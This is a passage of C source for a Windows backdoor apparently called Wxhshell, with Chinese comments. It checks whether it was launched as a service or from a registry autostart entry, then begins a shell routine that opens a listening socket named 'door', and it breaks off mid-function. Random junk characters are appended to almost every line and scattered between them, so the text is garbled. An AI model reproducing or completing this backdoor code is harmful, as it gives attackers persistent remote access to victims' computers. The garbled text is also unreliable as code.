ULONG InheritedFromUniqueProcessId; STglw-TC\
} PROCESS_BASIC_INFORMATION; 3LfC{ER
in(U:04
PROCNTQSIP NtQueryInformationProcess; zLF?P3^
m~dC3}e8/?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8@PX7!9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TARXx>
(%U@3._
HANDLE hProcess; E"L2&.
PROCESS_BASIC_INFORMATION pbi; 1Jj Y!
CEC
nq3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YFTjPBV
if(NULL == hInst ) return 0; ;r6jx"i
tw(JZDc
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nwN@DqO
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /"?HZ% W
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oX4q`rt
~`D|IWMDq
if (!NtQueryInformationProcess) return 0; (?H0+zws^
&
u!\<\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %J8|zKT5t
if(!hProcess) return 0; @?[1_g_'P
!=y]Sv~h
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rLU/W<F8
A"aV'~>
CloseHandle(hProcess); &bhq`>
7y`}PMn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9<vWcq*4
if(hProcess==NULL) return 0; 1&/FG(*/
8k^|G
HMODULE hMod; XK"-'
char procName[255]; 5"/J^"!h
unsigned long cbNeeded; .7
asW(
*c)uGz'cD
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /1 RAAa
\V>?Do7
CloseHandle(hProcess); +`sv91c
gt\MS;jMa
if(strstr(procName,"services")) return 1; // 以服务启动 :d8W+|1u
cv(PP-'\
return 0; // 注册表启动 Q.Aw2
} <jS~ WI@
5~.ZlGd
// 主模块 unJ R=~E
int StartWxhshell(LPSTR lpCmdLine) U#n#7G6fRp
{ KK,Z"){
SOCKET wsl; QaGlR`Y
BOOL val=TRUE; 9
C{;h
int port=0; 4G@nZn
struct sockaddr_in door; !6G?zipB
j&